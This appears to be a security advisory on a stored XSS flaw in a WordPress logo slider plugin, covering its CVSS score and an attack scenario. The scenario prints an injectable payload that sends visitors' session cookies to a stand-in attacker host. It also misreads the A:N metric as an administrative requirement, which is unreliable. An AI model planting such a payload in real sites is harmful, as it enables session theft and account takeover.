Logo Slider Logo Carousel Logo Showcase Client Logo Slider Plugin CVE-2026-0609

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates a moderate-severity vulnerability with network attack vector, low complexity, and low privilege requirements (author-level access), with cross-site scope impact and partial confidentiality and integrity impact. The 6.4 base score reflects the combination of these factors. Critically, the privilege requirement (PR:L) significantly reduces real-world risk compared to unauthenticated XSS, as attackers must already possess author or administrator credentials. However, the attack requires no user interaction (UI:N), meaning once injected, the malicious script executes automatically for all site visitors without additional clicking or social engineering. This makes the vulnerability particularly dangerous in multi-author WordPress environments where author accounts may be compromised or where trusted authors turn malicious. The lack of administrative action requirements (A:N) and the stored nature of the payload increase persistence and impact scope. While the CVSS score of 6.4 is above the medium threshold, the real-world exploitability is tempered by the prerequisite of valid credentials and limited to sites with multiple authors or weak author credential management. The vulnerability is not listed in CISA KEV, suggesting no active zero-day exploitation has been observed at scale, but the straightforward nature of the flaw and availability of plugin source code mean proof-of-concept exploitation is trivial to develop.

An attacker with a compromised or disgruntled author account logs into a WordPress site and creates or edits a page containing the 'logo-slider' shortcode. In the image alt text field, the attacker injects malicious JavaScript such as <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. When any visitor (including administrators) accesses the page, the stored XSS payload executes in their browser, exfiltrating session cookies or performing admin-level actions on behalf of the victim. No additional user interaction is required; the attack is fully automated and persistent across all page views until the page is manually edited to remove the payload.